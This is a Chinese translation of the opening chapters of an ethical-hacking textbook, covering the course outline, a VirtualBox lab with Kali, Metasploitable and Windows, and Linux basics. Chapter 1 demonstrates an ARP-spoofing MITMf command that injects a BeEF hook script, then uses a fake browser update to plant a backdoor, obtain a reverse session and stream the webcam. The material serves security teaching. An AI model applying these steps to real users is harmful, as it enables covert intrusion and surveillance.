从零开始的道德黑客学习指南-一-

70 阅读1小时+

从零开始的道德黑客学习指南(一)

原文:annas-archive.org/md5/c3dd5efc4279c754160e2c12a1da6d64

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书适用于任何希望学习如何进行黑客攻击/渗透测试的人。它旨在从零开始,假设没有先前的知识,并将您带入该主题的强大中级水平。这本书非常实用,但不会忽视理论。它从一些基本术语开始;然后,您将学习如何设置一个渗透测试实验室并安装所有必要的软件。该书的其余部分分为多个部分,每部分涵盖一个渗透测试领域——从网络、服务器和网站到客户端攻击和社会工程学。在每个部分中,您将学习目标系统的工作原理,系统中的弱点,如何利用这些弱点并入侵系统,以及如何保护系统免受讨论中的弱点影响。通过本书,您将建立一个坚实的基础,并对黑客攻击/渗透测试有了良好的理解,因此您将能够结合所展示的技术并根据不同情景进行调整。

本书的对象

本书从零开始,假设读者没有先前的黑客攻击/渗透测试知识。因此,它适合任何对学习如何像真正的黑客一样入侵或测试系统安全性感兴趣的人。

本书内容

第一章,介绍,讨论了伦理黑客的概念,并涵盖了关于渗透测试不同领域的基本信息。

第二章,建立实验室,涵盖了建立实验室并安装所有启动渗透测试所需软件的内容。我们将讨论这个问题,因为在整本书中,我们将学习如何通过在其中创建虚拟环境来对我们的系统进行攻击。

第三章,Linux 基础,引导您了解 Kali Linux 环境,使您熟悉虚拟框架。我们将学习一些基本命令,并查看软件的安装和更新。

第四章,网络渗透测试,将涵盖我们所说的网络的基础知识,并检查各种类型的网络。此外,我们还将讨论与网络相关的一些术语。

第五章,预连接攻击,将讨论无线网卡。然后我们将学习如何收集有关网络和计算机的信息,并学习如何发起攻击,例如在没有目标凭证的情况下控制连接。我们将学习如何通过创建虚拟接入点来捕获有关受害者的信息,目标将连接到这些接入点。

第六章,网络渗透测试 - 获取访问权限,演示了如何利用我们收集到的所有关于受害者的信息破解密钥并访问目标。在本章中,我们还将教你如何破解 WEP/WPA/WPA2 加密。

第七章,连接后攻击,将教你如何收集网络信息,以便我们利用这些信息执行更强大的攻击。为此,我们将使用多种工具。每种工具都有不同的优点,我们可以利用这些优点找到更多关于受害者的有用信息。

第八章,中间人攻击,将介绍如何发起各种中间人攻击,如 ARP 欺骗、会话劫持和 DNS 欺骗。我们还将学习 Wireshark 工具,它在分析进出受害者系统的数据包时非常有效。

第九章,*网络渗透测试、检测与安全,讨论了 ARP 中毒——我们将讨论如何执行此攻击,如何检测它,以及如何防止和保护我们的系统免受此类攻击。我们还将学习如何使用 Wireshark 工具帮助我们完成所有这些任务。

第十章,获取计算机设备访问权限,教我们如何完全控制任何计算机系统。本章将介绍第一种方法,即服务器端攻击。在本章中,我们将学习如何在没有用户干预的情况下完全访问目标系统。我们甚至会收集关于受害者操作系统的信息,以及可能帮助我们识别系统弱点和漏洞的任何开放端口和已安装的服务。然后,我们将利用这些漏洞来控制目标。

第十一章,使用工具扫描漏洞,将展示如何使用内置的 Metasploit 框架来帮助我们扫描网络和目标,以便我们可以获取有关它们的信息。

第十二章,客户端攻击,介绍了获取受害者系统访问权限的第二种方法。在这里,我们将利用进出目标系统的数据包来发起攻击。为了追踪数据包,我们将学习一个名为 Veil 的工具,它甚至帮助我们生成后门。我们还将讨论如何保护我们的系统安全。

第十三章,客户端攻击 – 社会工程学,教你如何在漏洞不明显的情况下访问受害者的系统。在这种情况下,我们唯一的解决方案就是与用户互动,这也是社会工程学的作用所在。我们将使用各种技巧,让受害者在其设备上安装后门。为此,我们将即时创建假更新,并对下载的文件进行后门植入。

第十四章,使用 BeEF 攻击与检测特洛伊木马,教我们如何使用 BeEF 工具。我们将学习一些基本命令,并利用它来检测特洛伊木马。

第十五章,局外网络攻击,展示了我们将在其他网络上发起的攻击。我们将学习 IP 转发的概念,并探讨如何利用外部后门发起这些攻击。

第十六章,后期利用,教你如何与已经突破的系统进行交互。我们将学习如何保持对被攻破的系统(及文件系统)的访问权限。我们还将学习如何利用目标计算机来攻击或监控网络中的其他计算机。

第十七章,网站渗透测试,讨论了网站如何工作,我们还将探讨如何利用后端漏洞。

第十八章,网站渗透测试 – 信息收集,解释了如何收集关于目标的信息,特别是网站所有者或托管这些网站的服务器。我们可以通过使用命令和工具如 Netcraft 来完成这一过程。我们还将讲解子域名的概念。

第十九章,文件上传、代码执行和文件包含漏洞,涉及各种漏洞,并通过实例展示如何利用这些漏洞。

第二十章,SQL 注入漏洞,讲解了最危险的漏洞之一——SQL 注入。我们还将了解如何检测此类漏洞,并保护我们的系统免受其影响。

第二十一章,跨站脚本漏洞,讲解了跨站脚本攻击。我们将了解从发起攻击到保护系统免受此类攻击的所有知识。此外,我们还将学习如何检测这些威胁。

第二十二章,使用 OWASP ZAP 自动发现漏洞,教你如何使用一个名为 Zmap 的工具,它可以帮助检测风险。它生成各种扫描结果,我们将在本章中分析这些结果。

要充分利用本书

要充分利用本书,您只需要基本的 IT 技能和一个无线适配器(仅限 Wi-Fi 破解部分)。该适配器可以是任何具有 Atheros 芯片组的设备(如 ALFA AWUS036NHA)。

下载示例代码文件

您可以从您的帐户下载本书的示例代码文件,访问www.packtpub.com。如果您是从其他地方购买本书,您可以访问www.packtpub.com/support并注册,直接将文件发送到您的电子邮件。

您可以按照以下步骤下载代码文件:

  1. 请在www.packtpub.com登录或注册。

  2. 选择支持选项卡。

  3. 点击“代码下载和勘误”。

  4. 在搜索框中输入书名,并按照屏幕上的指示操作。

下载文件后,请确保使用最新版本的解压工具解压或提取文件夹:

  • 适用于 Windows 的 WinRAR/7-Zip

  • 适用于 Mac 的 Zipeg/iZip/UnRarX

  • 适用于 Linux 的 7-Zip/PeaZip

本书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Learn-Ethical-Hacking-from-Scratch。如果代码有更新,将会在现有的 GitHub 仓库中更新。

我们还提供了其他来自丰富书籍和视频目录的代码包,您可以在**github.com/PacktPublishing/**查看!

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 用户名。举个例子:“我们将进入Metasploitable目录并选择.vmdk文件。”

代码块如下所示:

html, body, #map {
 height: 100%; 
 margin: 0;
 padding: 0
}

任何命令行输入或输出将以以下格式呈现:

-i eth0 -r 10.0.2.1/24

粗体:表示新术语、重要词汇或在屏幕上看到的词汇。例如,菜单或对话框中的词汇将以这种方式出现在文本中。举个例子:“如果我们进入文件 | 下载,我们会看到该文件。”

警告或重要提示将以这种方式显示。技巧和窍门将以这种方式显示。

联系我们

我们非常欢迎读者的反馈。

一般反馈:请发送电子邮件至feedback@packtpub.com,并在邮件主题中注明书名。如果您对本书的任何内容有疑问,请通过电子邮件联系我们,邮箱地址为questions@packtpub.com

勘误:虽然我们已经尽力确保内容的准确性,但难免会有错误。如果您发现本书中的错误,我们将不胜感激,如果您能将其报告给我们。请访问www.packtpub.com/submit-erra…,选择您的书籍,点击“勘误提交表单”链接,并填写相关细节。

盗版:如果你在互联网上发现我们的作品的任何非法复制版本,我们将非常感激如果你能提供其所在地址或网站名称。请通过copyright@packtpub.com与我们联系,并附上该材料的链接。

如果你有兴趣成为作者:如果你在某个领域拥有专业知识,并且有兴趣写作或为书籍贡献内容,请访问authors.packtpub.com

评论

请留下评论。一旦你阅读并使用了本书,为什么不在你购买它的网站上留下评论呢?潜在的读者可以看到并利用你的公正意见来做出购买决定,我们在 Packt 能够了解你对我们产品的看法,而我们的作者也能看到你对他们书籍的反馈。谢谢!

欲了解更多关于 Packt 的信息,请访问packtpub.com

第一章:介绍

本章主要将简要概述本书中将涉及的主题。它将涵盖与黑客相关的各个方面,从如何进行黑客攻击到如何保护你的系统不被黑客攻击。稍后我们将讨论黑客的概念,并介绍三种类型的黑客:白帽黑客、黑帽黑客和灰帽黑客。在本章的最后,我们将展示一些实时的黑客应用案例。

本章将解答以下问题:

  • 本书内容概览

  • 什么是黑客技术?

  • 我们为什么要学习黑客技术?

  • 黑客技术初窥

本书内容概览

本书将教你如何从零开始成为一名道德黑客。我们假设你没有任何道德黑客的经验,到本书结束时,你将达到中级(到高级)水平。

这是本书内容的简要概述:

  • 准备工作

  • 渗透测试

  • 保护自己的系统

准备工作

在本书的第一部分,你将学习如何创建自己的实验室,以便在自己的计算机上进行道德黑客练习。你还将学习如何安装 Linux 系统并与之互动,以及如何设置其他系统进行黑客攻击练习。

渗透测试

本书的这一部分,我们将涵盖最重要的渗透测试领域。在每个部分中,我们将首先说明特定系统是如何工作的,然后测试该系统的安全性。在接下来的部分中,我们将介绍本书中涉及的各种渗透测试类型。

网络渗透测试

在网络渗透测试中,我们将首先学习网络是如何工作的,设备之间是如何互动的。

首先,我们将深入了解周围的网络;我们将通过设置一个虚假的接入点并诱使人们连接到网络,从而捕获通过这些网络发送或接收的数据。然后我们将学习如何获取任何 Wi-Fi 网络的密码,无论它是使用 WEP、WPA 还是 WPA2 加密。

我们还将介绍大量强大的攻击方法,这些方法可以让我们获得任何网络中计算机访问的账户的访问权限。我们将能够捕获网络上计算机发送或接收的用户名、密码、图片和图像。

获取访问权限

本章的这一部分,我们将学习如何获取计算机系统的访问权限。有两种方法可以破解计算机:

  • 服务器端攻击

  • 客户端攻击

在学习服务器端攻击时,你将看到如何发现安装在目标计算机上的程序中的弱点,以及如何利用这些弱点获取计算机的完全访问权限。

在客户端攻击中,你将学习如何使用社会工程学来入侵目标,你将学习如何创建不可检测的后门、看起来像图片或照片的后门等。我们还将学习如何通过使用假更新或假下载来获取我们网络中任何计算机的访问权限。

后期利用

在本节中,我们将讨论后期利用,学习如何控制我们已入侵的设备。因此,我们将看到如何打开系统的摄像头、管理其文件系统,以及如何下载或上传文件。我们还将学习如何捕获用户在键盘上输入的所有按键,甚至将那台计算机作为跳板,攻击其他计算机。

网站渗透测试

在最后的部分,我们将讨论网站渗透测试,我们将学习如何收集关于网站的全面信息,包括如何发现、利用和减轻大量严重的漏洞。

保护你的系统

最后,我们将学习如何保护自己(以及我们的系统)免受前面章节中讨论的攻击。

什么是黑客攻击?

通过黑客攻击,你可以做一些你本不应该(或不被允许)做的事情。例如,你可以查看你没有权限看到的信息,或使用你不被允许使用的计算机。黑客攻击有很多种类型,如电子邮件黑客、计算机黑客、服务器黑客和网站应用程序黑客等。

黑客有三种不同类型:

  • 黑帽黑客:黑帽黑客为自己的利益入侵系统;他们就是那些偷窃金钱或纯粹为了自己的利益而破坏系统的人。

  • 白帽黑客:白帽黑客试图保护系统安全;他们可能使用与黑帽黑客相同的方法,但他们只对拥有许可的系统进行测试,以查看系统是否存在漏洞——他们入侵这些系统是为了修复它们。

  • 灰帽黑客:还有一些灰帽黑客,他们是黑帽和白帽的混合体;他们会测试任何他们想测试的系统,即使没有得到黑客攻击的许可。一旦他们入侵了系统,他们不会破坏任何东西或窃取金钱;他们不会造成损害。甚至可能会告诉管理员如何修复漏洞。

在本书中,我们将是白帽黑客。本书仅用于教育目的,旨在教授黑客技术。它适用于那些希望保护自己网络安全、并希望成为渗透测试员来保护计算机系统的人。

为什么我们要学习黑客技术?

黑客是一个现有的领域 - 在其中有许多工作机会,每天都在发生,需要越来越多的保护。我们都听说过索尼的黑客事件,当 PlayStation 长时间停机时。像索尼这样的公司实际上正在雇佣人员来尝试黑入他们。您将学习如何黑入网络和系统,以便您可以保护它们免受黑客的攻击。

不久前,有人发现了一种方法来暴力破解 Facebook 移动网站的恢复密码密钥,因为 Facebook 没有检查您输入错误 PIN 的次数。一旦这个人做到了,他们告诉了 Facebook,并因此获得了$20,000 的奖励,因为 Facebook 有一个漏洞赏金计划。目前,许多网站和公司都有漏洞赏金计划 - 他们要求人们尝试黑客攻击他们,如果攻击成功,根据攻击的危险程度支付一定金额的报酬。

黑客的一瞥

在接下来的章节中,我们将学习如何安装黑客所需的操作系统和程序。然后,我们将学习一些关于黑客的基础知识,以及如何使用涉及的操作系统。在我们开始之前,我想给您一个关于本书结尾时您将能够做什么的概述。在本节中,我们将通过一个示例来了解如何从 Linux 机器黑入 Windows 计算机。

不要担心我们如何安装这些机器或如何运行这些命令;现在,这只是一个例子。将来,我们将把这个过程分解成步骤,您将确切地看到如何进行攻击。您还将了解攻击的工作原理,以及如何保护自己免受此类攻击。

浏览器利用框架

现在,我们将使用一个名为浏览器利用框架BeEF)的程序:

  1. 我们将启动 BeEF XSS 框架。它使用 JavaScript 代码来 hook 目标计算机;一旦计算机被 hook,我们将能够运行许多命令。以下是它的外观截图:

  1. 要运行这些命令,我们将使用中间人攻击来自动注入 BeEF 的 hook 代码。我们将使用一个名为 MITMf 的工具来执行 ARP 欺骗攻击。我们将提供网络接口、网关和目标 IP 地址,即 Windows 机器的地址。

  2. 接下来,我们将告诉 MITMf 我们希望它注入一个 JavaScript URL,并给出存储 hook 的位置。代码将类似于这样:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject --js-url http://10.0.2.15:3000/hook.js
  1. 一旦完成这个步骤,按下Enter,它将成功运行。其输出如下所示:

  1. 这看起来很复杂;我们不知道选项是从哪里来的,所以在前面的截图中可能显得非常混乱。别担心;我们稍后会详细讨论,它会变得对你来说很容易。现在,我们需要理解的是,这个程序将注入钩子代码;这个代码允许 BeEF 黑客入侵目标计算机,并且可以在目标用户毫不知情的情况下在其浏览器中运行。

  2. 现在,去 Windows 机器并运行网页浏览器。我们将访问任何网站,例如 Google 或 Bing。

  3. 如果你回到 Kali 机器,你会看到我们在 Hooked Browsers 下有目标用户的 IP 地址,如果你点击 Commands 标签,你会看到很多类别,其中包含可以在目标计算机上运行的命令。这些在下面的截图中显示:

  1. 让我们向目标展示一个假通知栏,告诉他们有一个新的更新提示,因此点击 Social Engineering | Fake Notification Bar(Firefox),如下面的截图所示:

  1. 这将向目标用户显示一个新的更新提示,一旦他们安装了更新,我们就可以入侵他们的计算机。现在,让我们配置假通知栏,在用户点击后安装后门。

  2. 我们有一个现成的后门,它不会被杀毒软件检测到(你将在接下来的章节中看到如何做到这一点)。我们将存储这个后门,并命名为update.exe

  3. 接下来,我们将点击 Execute。现在,在运行更新之前,我们需要监听传入连接,以便在受害者尝试更新他们的计算机时连接到目标计算机。现在,如果我们点击假通知栏命令上的 Execute,该栏将显示在目标的浏览器中,如下图所示:

  1. 在前面的截图中,Firefox 显示有一个关键更新,提示你点击 Install plug-in 来安装该更新。点击后,你会看到它已经下载了一个更新文件,保存它,然后运行更新。

  2. 如果我们回到 Kali 机器,我们会看到我们成功从 Windows 机器获取了反向会话。所以,让我们与那台计算机进行交互;我们基本上将完全控制它:

现在,让我们看看如何访问目标计算机的网络摄像头。

访问目标计算机的网络摄像头

要访问网络摄像头,我们将使用随 Meterpreter 附带的插件;我们将使用webcam_stream命令。

当我们按下Enter键时,我们将能够开启摄像头。这个摄像头实际上是连接到 Windows 机器上的;我们已经入侵了这台 Windows 机器,接下来可以在上面做任何我们想做的事。再次强调,这只是我们将要使用的一个攻击示例。我们将执行更多类似的攻击,而这些攻击将使我们能够完全控制目标系统。

概述

在这一章中,我们简要介绍了本书中将深入探讨的一些主题。我们讨论了如何使用 Linux 机器入侵运行 Windows 操作系统的计算机。接着,我们通过实际例子了解了黑客攻击的概念。还讨论了不同类型的黑客。最后,我们看到了黑客攻击中涉及的各种应用。

在接下来的章节中,我们将搭建一个虚拟环境来执行各种渗透测试。我们还将安装 Kali Linux、Windows 和 Metaspoitable 机器。

第二章:建立实验室

在上一章中,我们学习了黑客攻击的概念。在本章中,我们将学习如何搭建虚拟环境,以便稍后进行渗透测试。本章将介绍虚拟机的概念,并执行安装步骤。稍后,我们将学习如何在 VirtualBox 中安装 Kali Linux,以及两台受害者机器:Windows 和 Metasploitable。我们还将讨论这些机器的功能,以及为什么我们要使用它们。在本章的末尾,我们将了解快照的概念,并学习如何实现它们。

本章将涵盖以下主题:

  • 实验室概述

  • 安装 Kali Linux

  • 安装 Metasploitable

  • 安装 Windows

  • 创建快照并使用快照

实验室概述

由于本书高度实践化,我们需要一个实验室,一个可以学习和执行攻击的地方。为了创建这个环境,我们将使用一个叫做 VirtualBox 的程序。

VirtualBox

VirtualBox 是一个程序,它允许我们在自己的计算机内安装其他计算机,就像普通计算机一样。我们将拥有一台计算机,并在其中安装其他计算机,这些计算机将作为虚拟机运行。虚拟机在渗透测试中非常重要,我们将在搭建实验室时频繁使用它们。需要特别注意的是,虚拟机就像是一个完全独立、正常工作的计算机;安装操作系统作为虚拟机并不会丢失任何内容,它的性能和安装在单独笔记本电脑上时一样。基本上,我们不需要四五台电脑或笔记本(以便进行黑客攻击),我们将把它们作为虚拟机安装在自己的计算机内部。现在可能有些模糊,但随着我们进一步深入本章,VirtualBox 的工作原理会变得更加清晰。

基本上,我们将在主计算机内部拥有三台计算机。我们的实验室将包含以下三台机器:

  • 攻击者机器:Kali Linux

  • 受害者 1:Metasploitable

  • 受害者 2:Windows

举个例子,如果我们的主计算机是 macOS,我们就不需要做任何修改。我们将有一台攻击者机器,运行 Kali Linux,稍后在本章中我们会详细了解 Kali Linux。

我们还将有两台受害者机器:

  • 一台运行 Windows 的受害者机器。

  • 一台运行操作系统叫做Metasploitable的受害者机器。

所以,我们将拥有自己的计算机,并在其中创建三台独立的计算机。这将通过使用 VirtualBox 实现。

安装 VirtualBox

下载 VirtualBox 时,只需选择与你的操作系统兼容的版本。Windows、macOS X 和 Linux 都有对应版本的 VirtualBox。

VirtualBox 是免费的,你可以从以下链接下载:www.virtualbox.org/wiki/Downloads

所以,只需找到与你操作系统兼容的 VirtualBox 版本,双击它并安装。安装非常简单;你只需双击它,点击“下一步”,“下一步”,“下一步”,就安装完成了。以下是 VirtualBox 的截图;如我们所见,它已经安装好了,并且在窗口的左侧没有任何虚拟机:

安装 Kali Linux

在本书中,我们将使用一些渗透测试工具。你可以手动安装每个工具,或者像我这样做,大多数渗透测试员都这么做——通过使用为黑客设计的操作系统来节省时间和精力。我们将使用名为 Kali Linux 的操作系统,它是基于 Debian 的 Linux 版本。它预装并预配置了我们需要使用的所有程序和应用。这意味着我们只需安装操作系统,然后就可以开始学习黑客技术。

安装 Kali 有两种方式:将其作为虚拟机安装在当前操作系统中,或者将其作为主操作系统安装在主机上。在本书中,我们实际上将以虚拟机的方式使用它,因为以虚拟机方式使用与作为主操作系统使用完全相同;它会完全与我们运行在 VirtualBox 中的电脑隔离开。如果我们弄坏了它,或出错了,修复起来非常容易。可以轻松恢复到其他快照或配置,而且使用虚拟机时我们不会失去任何功能。这就是我们总是以这种方式使用它的原因。

不管你使用的是哪个操作系统,无论是 Windows、Linux 还是 OS X,步骤完全相同。

安装 Kali Linux 的步骤如下:

  1. 下载适用于你电脑的 VirtualBox 版本。

  2. 设置好 VirtualBox 后,下载 Kali Linux,下载链接为www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/

  3. 向下滚动,确保点击的是 Kali Linux VirtualBox 镜像,而不是 VMware;然后,下载与你系统兼容的 Kali 版本。所以,如果你使用的是 64 位电脑,请下载 64 位版本,如果是 32 位电脑,请下载 32 位版本。

  4. 下载后,你应该会得到一个.ova扩展名的文件;文件名后面会跟着.ova扩展名,如下所示:

  1. 要在 VirtualBox 中安装此系统,我们只需双击该文件。你会看到一个窗口,允许你导入虚拟机。现在我们暂时保持默认设置,点击导入按钮。就这样;虚拟机准备好了:

  1. 在我们开始之前,我们将先看看如何修改一些设置。我们将点击 Kali-Linux 标签,这个标签可以在窗口的左侧看到。然后,我们将点击设置。我们要做的第一件事是进入系统并修改其内存大小。根据你电脑上的内存大小,你可以设置为 2GB,但 Kali 使用 1GB 就足够了。通常,我会设置为 2GB,因为我的电脑有 16GB 的内存。

  2. 此外,当你点击处理器标签时,你会看到,默认情况下我们为它分配了两个处理器。再说一次,我有 8 个 CPU,所以 2 个处理器对我的电脑压力不大;但 1 个 CPU 对于 Kali 来说也足够了。

  3. 接下来,我们将进入网络设置,并将其设置为使用 NAT 网络。有时,当我们将其设置为 NAT 网络时,这里可能看不到网络名称;如果是这样,请查看链接 www.youtube.com/watch?v=y0PMFg-oAEs,它会展示如何创建 NAT 网络。这个设置基本上会创建一个虚拟网络,我们的主机将作为路由器,而所有虚拟机将作为客户端连接到这个网络。因此,它们将通过主机获取互联网连接,同时,我的所有虚拟机也将连接到一个虚拟网络。这非常方便,因为我的虚拟机可以相互通信;我们可以使用其中一台来攻击另一台,并可以用它来测试网络攻击等等。

这将使我的虚拟机能够连接到互联网,并且也能相互通信,所有这些都将通过虚拟网络完成。它不会使用任何无线适配器或无线网卡;它将创建一个虚拟以太网网络,因此就虚拟机而言,它们是通过以太网电缆连接到网络的。

  1. 现在,我们可以点击确定并启动虚拟机。

  2. 现在,要开始,我们只需要点击开始按钮。然后,点击虚拟机内,按下Enter键;现在我们已经进入虚拟机:

  1. 现在它要求我们输入用户名,默认的用户名是root,然后它要求我们输入密码,默认密码是这个的反向,即toor。由于我们是使用现成的镜像安装的,因此我们可以直接点击绿色按钮,或者可以进入查看 | 全屏;屏幕会自动调整为我们的屏幕大小。

  2. 现在,请注意屏幕的右上角,我们应该能看到一个网络图标,因为我们设置了这台机器使用 NAT 网络。如果没有网络图标,意味着机器没有连接到 NAT 网络,所以如果我们打开浏览器,会发现它无法连接到互联网。

  3. 为了解决这个问题,我们只需进入屏幕顶部,它会显示菜单。进入“设备”|“网络”,我们可以点击“连接网络适配器”,如下图所示:

我们只需要做这一步,然后虚拟机会自动连接到 NAT 网络。一旦完成,几秒钟后我们将看到网络图标,如果点击它,我们就会连接到有线网络。

  1. 如下图所示,它显示为“已连接到有线网络”,所以 Kali 认为它已连接到有线网络:

现在,如果我们在浏览器中点击“再试一次”,我们将看到互联网连接正常。

不要被这个新操作系统吓到;我们会逐步了解基本操作,并且我们会经常使用它。实际上,使用它会变得非常容易。

此外,正如我所说,当你以虚拟机形式安装 Kali Linux 时,你不会失去任何功能。实际上,作为虚拟机安装它更好,因为它完全与计算机隔离,如果出现问题,修复起来会非常容易。

安装 Metasploitable

我们将使用的第二台机器是 Metasploitable。Metasploitable 是另一台 Linux 机器,你可以把它看作是 Kali 的对立面。Kali 设计用于让你入侵其他设备,而 Metasploitable 设计用于让你入侵它,所以它是为那些想学习渗透测试的人设计的。它被设计成有多个漏洞,我们将尝试使用 Kali Linux 来入侵 Metasploitable。因此,这将成为目标或受害者机器之一。

你可以在information.rapid7.com/metasploitable-download.html下载 Metasploitable。

你将得到一个 ZIP 文件,像这样。解压后,你会得到一个名为metasploitable-linux-2.0.0.zip的目录;双击它,你将看到以下文件:

所以,我们将通过以下步骤创建一个新机器:

  1. 要获取虚拟机,我们将点击“新建”,然后将其命名为Metasploitable并将其类型更改为 Linux 机器。接着,点击“下一步”,并仅为其分配 1GB 的内存。

  2. 接下来,我们将使用现有的虚拟文件选项,这与我们创建 Kali Linux 时不同(即,当我们创建新的虚拟硬盘时)。这样做的原因是我们现在拥有的镜像实际上是为 VMware Player 设计的。因此,我们将导入硬盘文件或硬盘镜像,这样我们就能直接使用安装好的虚拟机,无需重新安装。我们只需使用现有的硬盘文件。我们将进入Metasploitable目录并选择.vmdk文件。

  3. 点击“打开并创建”。我们现在就要启动虚拟机。以下是虚拟机启动并完全安装后的界面:

  1. 我们不需要安装任何东西,因为我们只是导入了一个预先安装好的系统,一个准备好的硬盘。所以,现在它要求输入用户名msfadmin,密码是相同的。我们现在已经登录:

这个虚拟机只有一个终端,并且它会给出一个警告,告诉你绝对不应该将此虚拟机暴露给外部互联网连接,因为它是一个脆弱的机器,设计上就是容易被攻击。它只在我们的实验室内,作为虚拟机安装,这样外部的人就无法访问它,这是非常安全的使用方式。如前所述,在接下来的章节中,我们将讨论如何尝试入侵这台机器。不要被终端吓到,我们会频繁使用它,并且我们将一步一步学习如何使用它。

如果我们想关闭这台机器,只需要输入sudo poweroff命令——运行这个命令后,它会要求输入管理员密码,然后机器就会关闭:

安装 Windows

最后,我们将讨论安装的机器是 Windows 机器。这是一个普通的 Windows 机器,运行的是 Windows 10。这将是另一个受害者,我们将看到如何破解它。同样,我们安装 Metasploitable 是因为它有大量的漏洞,并且它的设计就是为了被攻击。它的终端不是很友好,也不能模拟普通用户。而 Windows 机器则将用于模拟普通用户的场景,比如一个用户只是用 Windows 浏览互联网或者做其他普通用户在机器上做的事情。

所以,微软实际上发布了免费的版本,或者免费的虚拟机,您可以下载并使用。这些都可以在微软的网站上找到。您可以在developer.microsoft.com/en-us/microsoft-edge/tools/vms/下载它们。

所以,我们将通过以下步骤创建一台新机器:

  1. 确保选择您的主机操作系统。如果您使用 Windows,点击 Windows 选项卡;如果您使用 Mac,则点击 Mac 选项卡,依此类推。

  2. 从下拉框中选择 MSEdge on Win (10),并确保选择 VirtualBox 镜像。这些都是允许我们安装虚拟机的应用程序。目前,我们使用的是 VirtualBox,所以只需确保选择 VirtualBox 镜像。完成后,您将得到一个名为MSEdge.Win10.VirtualBox.zip的 ZIP 文件。解压它,您将得到文件MSEDGE-Win10TH2.ova

  3. 双击 .ova 文件,VirtualBox 会要求你导入机器——它已经为你设置好了相关设置。你现在可以按原样导入,稍后再修改设置,Windows 就会安装完成。

  4. 在启动之前,修改设置,将 RAM 改为 2 GB。然后我们可以启动它。Windows 会直接启动——它已经准备好,由微软提供给我们。

这里我们有一台完全正常运行的 Windows 机器,Windows 10,这将是我们在实验室中使用的第三台机器。它将是我们的第二台攻击机——我们的第二台受害者或目标机器。

创建和使用快照

既然我们已经创建了虚拟机,拍摄快照是一个不错的主意。快照允许我们存储当前虚拟机的状态,这样我们就可以回到或前进到某个特定状态。我们可以把快照想象成书签——例如,我们可以拍摄操作系统全新安装的快照,如果以后我们进行更新、配置或出现故障,可以回到全新安装的状态,或者恢复到出厂设置。我们也可以从那里前进到更新后的系统。我们可以随时拍摄快照,在不同的状态之间来回切换。

以下是拍摄快照的步骤:

  1. 点击我们安装的 Kali Linux;创建快照非常简单。你只需要进入“快照”并点击顶部图标栏中的相机图标:

  1. 它会要求我们命名快照,所以我们将其命名为Fresh Install,并且给出描述,说明这是一个没有更新的全新快照。给快照一个有意义的名称和描述总是一个好主意,这样将来我们才能记住快照的具体含义:

  1. 所以现在我们完成了,可以点击“确定”,这时我们将得到当前状态。我们可以更新或安装程序,甚至安装库,如果我们破坏了某些东西并且/或者想回到全新安装的状态,我们可以点击“全新安装”来恢复。

现在,我们可以回到正常的细节并启动我们的虚拟机。接下来,我们将看到一个例子。让我们在 Kali Linux 中创建一个新目录——我们将其命名为test。假设我们实际上更新了系统;当我们更新系统时,某些程序可能没有像将要安装的库那样及时更新,这些程序可能会开始出现问题。如果发生这种情况,建议回退或降级到旧版本,而不是继续使用更新版本。

我们只需要回到全新安装的状态。我们刚刚创建了一个新文件来展示,一旦你回到之前的状态,一切都会恢复到修改前的样子。关闭 Kali 后,如果我们回到快照中,我们将看到当前状态(已经被修改的状态)。如果我们更新并且更新成功,我们还可以创建一个名为“已更新系统”的快照,并包括日期和描述,例如无问题更新。点击“确定”,我们将看到两个快照——全新安装和已更新系统。

如果更新后遇到问题,我们只需要点击我们刚创建的“全新安装”,然后点击恢复图标来恢复更改。现在,如果我们启动 Kali 机器,我们会看到我们创建的新目录消失了。我们回到了没有新目录、什么都没有的状态,实际上我们回到了 Kali 的全新安装状态,回到我们拍摄快照时的状态。

假设我们已经回到了全新安装的状态,出于某种原因,我们希望回到更新后的状态,以查看是否能解决问题(可能通过在网上找到解决方案)。如果我们想回到未来的状态,只需点击“已更新系统”,然后点击“恢复”,并且——无需从当前状态创建快照——启动机器。我们将回到更新后的状态,也就是我们创建新目录的状态,test目录。

如你所见,快照确实非常有用。它们允许我们标记操作系统的状态,以便我们可以在不同配置之间切换,随时切换。快照也非常有用,尤其是在安装了 Windows 时,因为 Windows 实际上提供了一个试用版本,如果未来出现问题,我们可以回到 Windows 的全新安装状态。

总结

在本章中,我们学习了如何使用 VirtualBox,它允许我们在自己的机器中安装像 Kali Linux 和 Windows 这样的虚拟机。我们还学习了如何安装 Kali Linux,它将作为我们整个书中的攻击机,以及如何安装我们的受害者机器——Windows 和 Metasploitable。最后,我们研究了快照是什么,以及它们如何帮助我们保留虚拟环境中过去的设置。

在接下来的章节中,我们将看到如何使用 Kali Linux 机器攻击 Windows 机器和 Metasploitable 机器。

第三章:Linux 基础

本章将介绍 Kali Linux 的基础知识。我们将看到 Kali Linux 在作为虚拟机安装时的外观,并将详细解释 Kali Linux 的一些基本元素。此外,在本章后半部分,我们将学习在 Linux 终端中可以使用的不同命令。掌握这些命令后,我们将学习如何更新源以及如何在 Linux 上安装程序。

本章将涵盖以下主题:

  • Kali Linux 概述

  • Linux 命令

  • 更新源

Kali Linux 概述

现在我们已经安装了 Kali Linux,让我为你提供系统概述:什么是 Linux,文件系统结构,以及我们将要使用的一些基本应用程序。我们将现在查看系统概况,稍后我们将介绍一些命令,这些命令将在后面的章节中详细讨论。

状态栏图标

如你所见,在以下截图中,顶部有一个状态栏,靠近末尾(在应用程序菜单的左侧),有一个应用程序选项卡,用于访问 Kali Linux 默认预装的所有应用程序。这些应用程序按攻击类型分为不同的类别。我们可以看到以下分类:01 - 信息收集,02 - 漏洞分析,03 - Web 应用程序分析,04 - 数据库评估,08 - 利用工具,以及 07 - 逆向工程。这些都是可以用于渗透测试的应用程序类型:

Places 菜单允许你访问文件系统——你将要使用的文件。这类似于 Windows 系统中的“我的文档”功能。如果我们点击计算机(Computer),可以访问所有文件和设备,但我们很少使用这个菜单;通常通过左侧竖直栏中的“主页”图标来访问它。如果我们进入 Places 菜单,然后点击“主页”,就能访问桌面、文档、下载、音乐等内容,方式与 Windows 或 macOS X 中类似。我们甚至可以看到回收站(Trash),那里就是你丢弃文件的地方。这只是一个基本的文件管理器,支持后退和前进,你可以双击文件来运行它,或者双击目录来打开它:

